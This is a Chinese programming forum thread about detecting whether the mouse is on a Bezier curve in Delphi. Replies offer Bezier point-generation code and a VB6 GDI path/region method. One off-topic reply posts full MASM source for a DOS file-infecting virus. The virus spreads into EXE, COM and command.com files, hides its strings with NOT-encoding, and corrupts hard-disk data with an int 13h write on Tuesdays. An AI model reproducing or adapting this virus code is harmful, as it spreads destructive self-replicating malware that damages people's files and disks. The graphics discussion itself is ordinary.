如何选中一条不规则曲线比如Bezier曲线,即判断光标是否落在这根线上。
假设画这条曲线时的Pen的宽度为2,如下:procedure TForm1.Button2Click(Sender: TObject);
var Points: array[0..3] of TPoint;
begin
  Canvas.Pen.Width := 2;
  Points[0] := Point(100,200);
  Points[1] := Point(200,100);
  Points[2] := Point(300,300);
  Points[3] := Point(400,200);
  Canvas.PolyBezier(Points);
end;

解决方案 »

  1.   

    Bezier曲线拟合的时候是许多的小直线段连成的,鼠标位置与直线段的距离满足一个精度即可。当然该距离你可以用别的方法近似一下也可
      

  2.   

    谢谢 shi_sea(热锅蚂蚁) 
    我想知道怎么来判断,具体怎么编码实现人气还是不高!
      

  3.   

    哦,你是直接用delphi里PolyBezier函数,也许不大好办
      

  4.   

    会画贝赛尔曲线就应该可以做出来
    不是用Canvas.PolyBezier画,不要误会如 shi_sea(热锅蚂蚁) 所说,贝赛尔曲线确实是由直线组成的
    这样在判断的时候就有一个精度的问题。还有一些技巧。一定很麻烦的。
    懒得去想了。
      

  5.   

    刚刚才知道Delphi下也有一个"图形处理"的子论坛!Bezier曲线画到屏幕上时,由一组直线段组成,所以只要判别光标和该组直线段的距离是否足够近就可以了.
      

  6.   

    Bezier曲线中,由
               控制点列A[1..MaxContrPoints]
    产生
               直线段点列B[1..MaxIntPoints]
    的程序如下:
    procedure bezier(A:PlotArray;
                     MaxContrPoints:integer;
                     var B:PlotArr;
                     var MaxIntPoints:integer);
      const MaxControlPoints=25;
      type CombiArray=array [0..MaxControlPoints] of real;
      var n:integer;
          ContrPoint,IntPoint:integer;
          t,SumX,SumY,prod,DeltaT,quot:real;
          combi:CombiArray;  begin
        MaxContrPoints:=MaxContrPoints-1;
        DeltaT:=1.0/(MaxIntPoints-1);
        combi[0]:=1;
        combi[MaxContrPoints]:=1;
        for n:=0 to MaxContrPoints-2 do
          combi[n+1]:=combi[n]*(MaxContrPoints-n)/(n+1);
        for IntPoint:=1 to MaxIntPoints do
         begin
          t:=(IntPoint-1)*DeltaT;
          if t<=0.5 then
           begin
            prod:=1.0-t;
            quot:=prod;
            for n:=1 to MaxContrPoints-1 do prod:=prod*quot;
            quot:=t/quot;
            SumX:=A[MaxContrPoints+1].x;
            SumY:=A[MaxContrPoints+1].y;
            for n:=MaxContrPoints downto 1 do
             begin
              SumX:=combi[n-1]*A[n].x+quot*SumX;
              SumY:=combi[n-1]*A[n].y+quot*SumY;
             end;
           end
          else
           begin
            prod:=t;
            quot:=prod;
            for n:=1 to MaxContrPoints-1 do prod:=prod*quot;
            quot:=(1-t)/quot;
            SumX:=A[1].x;
            SumY:=A[1].y;
            for n:=1 to MaxContrPoints do
             begin
              SumX:=combi[n]*A[n+1].x+quot*SumX;
              SumY:=combi[n]*A[n+1].y+quot*SumY;
             end;
           end;
          B[IntPoint].x:=SumX*prod;
          B[IntPoint].y:=SumY*prod;
         end;
      end;
      

  7.   

    : Borlandor(五角▲大民) ( ) 信誉:100  2002-10-22 18:22:00  得分:0 
     
     
      人气太低!
     
     
    五角大民到底要干吗
      

  8.   

    to smhpnuaa(天将降大任于斯人也!) :
    能否帖出来,我向阿猫推荐你做此版的版主,谢谢!
      

  9.   

    to CoolSlob(我心憔悴):
    他已备封,你知道吗?多谢!
      

  10.   

    如果知道请答复,我只想知道如何做,分数不够可以再加,谢谢!
    seealso:
    http://www.delphibbs.com/delphibbs/dispq.asp?lid=1393993http://forum.vclxx.org/topic.asp?TOPIC_ID=21619&FORUM_ID=40&CAT_ID=7&Topic_Title=%B0%AA%26%2338590%3B%AB%D7%26%2338382%3B%26%2339064%3B%A1A%A6P%26%2326102%3B%AC%DD%AC%DD%A1m%A7%F5%BA%FB%C5%AA%AA%CC%B1M%B0%CF%A1n%AA%BA%A4H%C9a%A1C&Forum_Title=%A7%F5%BA%FB%C5%AA%AA%CC%B1M%B0%CF
      

  11.   

    其实没必要用复杂的数学公式计算
    创建合适的画笔选入hDC
    用BeginPath开始路径跟踪
    用PolyBezier绘制Bezier曲线
    用EndPath结束路径跟踪
    用PathToRegion把路径转为区域再用PtInRegion判断点是否在区域中
      

  12.   

    zyl910(910:分儿,我来了!) 毕竟是vb那边的,根本不懂算法
      

  13.   

    如果只用api就能搞定,呵呵,笑死人了
      

  14.   

    我只是提出另一种思路而已给你一个简单的方法,将曲线画成其他的颜色不就得了。
    ----------------------------------------------------
    这种方法并不通用
    将屏幕颜色位数调的较低时
    Windows在绘制线条时会匹配颜色
    匹配的颜色并不一定等于绘制的颜色
      

  15.   

    zyl910什么思路啊,csdn的星星随便都能得到,到处up也真能成高手!行家一出手,就只有没有啊!
      

  16.   

    够怪我那本API参考没写清楚
    PathToRegion会将路径封闭生成区域
    只不过也不是没有解决的办法
    在VB6中,新建工程,在窗体上放一Label——Label1Option ExplicitPrivate Type POINTAPI
        X As Long
        Y As Long
    End TypePrivate Declare Function PolyBezier& Lib "gdi32" (ByVal hDC As Long, lppt As POINTAPI, ByVal cPoints As Long)Private Declare Function BeginPath Lib "gdi32" (ByVal hDC As Long) As Long
    Private Declare Function EndPath Lib "gdi32" (ByVal hDC As Long) As Long
    Private Declare Function PathToRegion Lib "gdi32" (ByVal hDC As Long) As Long
    Private Declare Function WidenPath Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal X As Long, ByVal Y As Long) As LongPrivate Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As LongPrivate Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long
    Private Declare Function FillRgn Lib "gdi32" (ByVal hDC As Long, ByVal hRgn As Long, ByVal hBrush As Long) As LongPrivate Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As LongPrivate Const RGN_AND = 1
    Private Const RGN_OR = 2
    Private Const RGN_XOR = 3
    Private Const RGN_DIFF = 4
    Private Const RGN_COPY = 5
    Private BData(0 To 3) As POINTAPI
    Private hRgnB As Long
    Private MouseIn As BooleanPrivate Sub DrawRgn(ByVal hDC As Long, ByVal hRgn As Long, ByVal C As Long)
        Dim hBr As Long
        
        hBr = CreateSolidBrush(C)
        FillRgn hDC, hRgn, hBr
        DeleteObject hBr
        
    End SubPrivate Sub Form_Load()
        Me.AutoRedraw = True
        Me.ScaleMode = vbPixels
        Label1.BackColor = &HFFFF00
        
        BData(0).X = 100
        BData(0).X = 200
        BData(1).Y = 200
        BData(1).X = 100
        BData(2).Y = 300
        BData(2).X = 300
        BData(3).Y = 400
        BData(3).Y = 200
        
        
        Dim TempRgn As Long
        
        Me.DrawWidth = 2
        Me.DrawStyle = vbSolid
        Call BeginPath(Me.hDC)
        Call PolyBezier(Me.hDC, BData(0), 4)
        Call EndPath(Me.hDC)
        WidenPath Me.hDC
        hRgnB = PathToRegion(Me.hDC)
        DrawRgn Me.hDC, hRgnB, &HFF
        
        Me.DrawWidth = 1
        Call BeginPath(Me.hDC)
        Call PolyBezier(Me.hDC, BData(0), 4)
        Call EndPath(Me.hDC)
        TempRgn = PathToRegion(Me.hDC)
        DrawRgn Me.hDC, TempRgn, &HFF9999
        Call CombineRgn(hRgnB, hRgnB, TempRgn, RGN_DIFF)
        DeleteObject TempRgn
        
    End SubPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
        Dim TempIn As Boolean
        
        TempIn = PtInRegion(hRgnB, X, Y)
        'Debug.Print X, Y, TempIn
        If TempIn <> MouseIn Then
            MouseIn = TempIn
            Label1.BackColor = Label1.BackColor Xor &HFFFFFF
        End If
        
    End SubPrivate Sub Form_Unload(Cancel As Integer)
        DeleteObject hRgnB
        
    End Sub
      

  17.   

    呵呵,菜鸟继续写啊,如果能这么做,我的毕业论文也不用搞几个月。假如 flash、autocad 这些矢量处理软件用vb来写,呵呵,效率肯定会大大提高啊。那个高手,好像连堆栈都用哦,去跟大富翁的yy孙学习一下矢量处理系统的算法吧,如果他不要你,买他的书也可以啊!csdn真是菜鸟窝,靠到处up的人也能成高手,一出手就知道水平了,真为你将来担心哦,老板可是唬不住的哦。
      

  18.   

    CoolSlob() ( ) :你的两个星星看起来好像两个红眼哦!
      

  19.   

    to cdjnuaa:
      你有好的方法吗,请提供,不用API也可。
    to all:
      大家不要争吵,每人都有分,只要提出一种你的思路即可。谢谢大家,人气很旺!
      

  20.   

    cdjnuaa:RE:靠到处up的人也能成高手
      我什么时候说过我是高手??!
     你什么时候看到我UP?!Borlandor:
      我不要分!谢谢楼主成权!
      

  21.   

    烦请高人cdjnuaa至:
      http://expert.csdn.net/Expert/TopicView1.asp?id=1112896
      

  22.   

    人不高,只有170CM;          ************************************************            
    ;                            简单病毒程序
    ;
    ;               作者    :  不祥
    ;               类型    :  文件型
    ;               发作时间:  星期二
    ;               发作现象:  硬盘数据被坏
    ;               感染对象:  DOS 的 EXE COM 文件
    ;               编译工具:  MASM 6.0 , MASM 6.11
    ;
    ;          ************************************************
    CODE SEGMENT
          assume cs:code
          .386
          org 100h
    start:
         mov   cs:oldsp,sp          ; 保存原程序的堆栈指针 
         mov   cs:oldss,ss          ; 
         mov   sp,stack_end        
         mov   ax,cs             ; 设置新的堆栈指针 
         mov   ss,ax             ;      push  ds            ;保存原 ds es
         push  es            ;
         mov   ds,ax
         mov   es,ax
         sub   ax,oldseg     ; 算出原程序的入口
         push  ax            ; 并保存入栈
         push  oldip         ;
         call  setfile      ;程序的核心部分
         pop   cs:oldip     ; 取回原程序的入口
         pop   cs:oldseg    ;
         pop   es            ; 恢复原 es ds
         pop   ds            ;
         mov   sp,cs:oldss     ; 恢复原 ss,sp
         mov   ss,sp           ;
         mov   sp,cs:oldsp     ;
         push  oldseg        ;跳回原程序入口点
         push  oldip         ;
         retf                ;
         db   09ahgetdate proc near    ;这个函数是取得时间是否是星期二是则破坏硬盘数据     mov  ax,0ec32h          ; 写要执行的代码 int 13h 
         not  ax                 ; 到 @dest1 位置
         mov  si,@des1           ; 这里既加密代码
         mov  word ptr [si],ax   ;
         mov ah,2ah              ;时间查询
         int 21h
         cmp al,2                ;al中为星期数
         jnz @gd_con
         mov ax,312h
         mov cx,1
         mov dx,80h
    @des1:
         db   0ebh       
         db   32         
         ret
    @gd_con:
         retgetdate endp
    setfile1 proc near
              call findfirst
    @sf_con:
              jc  @sf_back
              call modify
              call findnext
              jmp @sf_con
    @sf_back:
              ret
    setfile1 endp
    setdata proc near
              push si
              push di
              push cx
              push ax
              pushf
              mov  si,offset normal1
              mov  di,si
              mov  cx,23h
    @aaa2:
              lodsb
              not  ax
              stosb
              loop @aaa2
              popf
              pop ax
              pop cx
              pop di
              pop si
              ret
    setdata endpsetfile proc near
              cmp ax,127h           ;  没有作用只是干挠
              jnz @aaa1             ;  ax 不可能等于 127h
              call dword ptr oldsp  ;
              ret                   ;
              db 0e8h               ;
    @aaa:     call getdate
              ret@aaa1:
              mov  ah,01ah         ;设置磁盘传输地址
              mov  dx,offset dta   ;用于 findfirst
              int  21h             ;
              call setdata     ;数据解密
              push @aaa
              mov  dx,offset normal1   ; 找 *.exe
              mov  ax,offset dta
              add  ax,01eh
              mov  fs,ax             ; fs 用于传递文件名的地址
              call setfile1  ; 传染文件
              mov  dx,offset normal2   ; 找 *.com
              call setfile1
              mov  dx,offset bootcmd   ; 找 c:\windows\command.com
              mov  fs,dx                    
              call setfile1
              mov  dx,offset bootcmd1  ; 找 c:\command.com
              mov  si,dx               ;
              mov  word ptr [si],':C'  ;
              mov  fs,dx               ;
              call setfile1            ;
              ret
    setfile endp
          db  09ah
    findfirst proc near
          mov  ax,04e27h
          int  21h
          ret
    findfirst endpfindnext proc near
          mov ah,04fh
          int 21h
          ret
    findnext endpmodify proc near   ;修改并感染程序
           mov si,offset sbuffer  ;可执行的文件头的地址
           mov di,offset dta      ;文件信息的地址
           
           cmp dword ptr [di+01ah],1000    ;  若文件小于 1K 或 大于 1M 不感染
           jb  @fn_ret                     ;
           cmp dword ptr [di+01ah],0ffcffh ;
           jae @fn_ret                     ;       mov dx,fs        
           mov ax,4300h     ;保存原文件属性
           int 21h          ;再改为没有属性
           push cx          ;
           mov ax,4301h     
           xor cx,cx        
           int 21h                 mov ax,03d02h    ; 打开文件
           int 21h          ;
           jc  @fn_ret3     ;       mov bx,ax              ;   读文件头
           mov ah,03fh            ;
           mov cx,1ch             ;
           mov dx,offset sbuffer  ;
           int 21h                ;       cmp word ptr [si],'ZM'   ; 如不是可执行文件就不感染
           jnz @fn_ret1             ;       mov ax,word ptr [si+014h]    ; 保存原程序入口
           mov oldip,ax                 ; 
           mov ax,word ptr [si+016h]    ; 
           mov oldseg,ax       mov ax,4200h                 ;  检查是否已经被我感染过
           mov cx,word ptr [di+1ch]     ;
           mov dx,word ptr [di+1ah]     ;
           sub dx,2                     ;
           int 21h                      ;
           mov ah,3fh                   ;
           mov cx,2                     ;
           mov dx,offset temp           ;
           int 21h                      
           cmp word ptr temp,0dcd6h     ;  若已经被感染就返回
           jz  @fn_ret1                 ;
         
                  mov   eax,dword ptr [di+01ah]   ; 得到文件的总长
           mov   cx,0fh
           and   cx,ax                       ; 算出感染后的入口点
           mov   fill,010h                   ;
           sub   fill,cx                     ;
           movzx ecx,fill                    ;
           add   eax,ecx                     ;
           sub   eax,100h
           shr   eax,4
           mov   cx,word ptr [si+8]
           sub   ax,cx
           mov   word ptr [si+14h],100h  
           mov   word ptr [si+16h],ax    
           sub   ax,oldseg
           mov   oldseg,ax       mov ax,4202h             ;把本病毒写至文件尾
           xor cx,cx                ;
           xor dx,dx                ;
           int 21h
           call setdata
           mov  ah,40h
           mov  cx,offset theend
           mov  dx,offset start
           sub  dx,fill
           sub  cx,dx
           int  21h
           call setdata
           jc  @fn_ret1       mov   ax,4202h             ; 算出加载程序的长度
           xor   cx,cx                ;
           xor   dx,dx                ;
           int   21h
           mov   cx,200h
           div   cx
           inc   ax
           mov   word ptr [si+2],dx
           mov   word ptr [si+4],ax       mov   ax,4200h           ;改写文件头
           xor   cx,cx
           xor   dx,dx
           int   21h
           mov   ah,40h
           mov   dx,si
           mov   cx,1ch
           int   21h@fn_ret1:
           mov ah,03eh      ;关闭文件
           int 21h          ;
    @fn_ret3:
           pop cx          ;恢复原文件属性
           mov ax,4301h    ;
           mov dx,gs
           int 21h
    @fn_ret:
           ret
    modify endp     oldip    word 0
         oldseg   word 0   ;========   用 not 换算过的数据 ========
         normal1   db  0d5h,0d1h,09ah,087h,09ah,0ffh            ; '*.EXE'
         normal2   db  0d5h,0d1h,09ch,090h,092h,0ffh            ; '*.COM'
         bootcmd   db  0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h  ; 'C:\WINDO'
         bootcmd1  db  0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh  ; 'WS\COMMAND.COM'
                   db  0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh
         fl       word 0dcd6h
    theend: 
         oldsp    word 0
         oldss    word 0
         temp     word 0
         temp1    word 0
    dta  db 02bh dup(0)
         fill     word 0
    sbuffer db 1dh dup(0)
    stack_start db 40h dup(0)
    stack_end:
    code ends
    end start
      

  23.   

    建议:看看金山老总雷军的《深入Windows编程》,雷军将它在大学期间做的类似aspack的程序代码讲的很清楚,建议看看。
      

  24.   

    对Bezier曲线, 或其他类似的样条曲线而言, 还可采用另一种办法来选中, 这就是和曲线一起, 把控制点也显示出来. 这样,只要点击几个控制点,就意味是选择此样条曲线.
    自然,控制点是否显示出来,应能选择的. 曲线定型后,就把控制点设为不可见.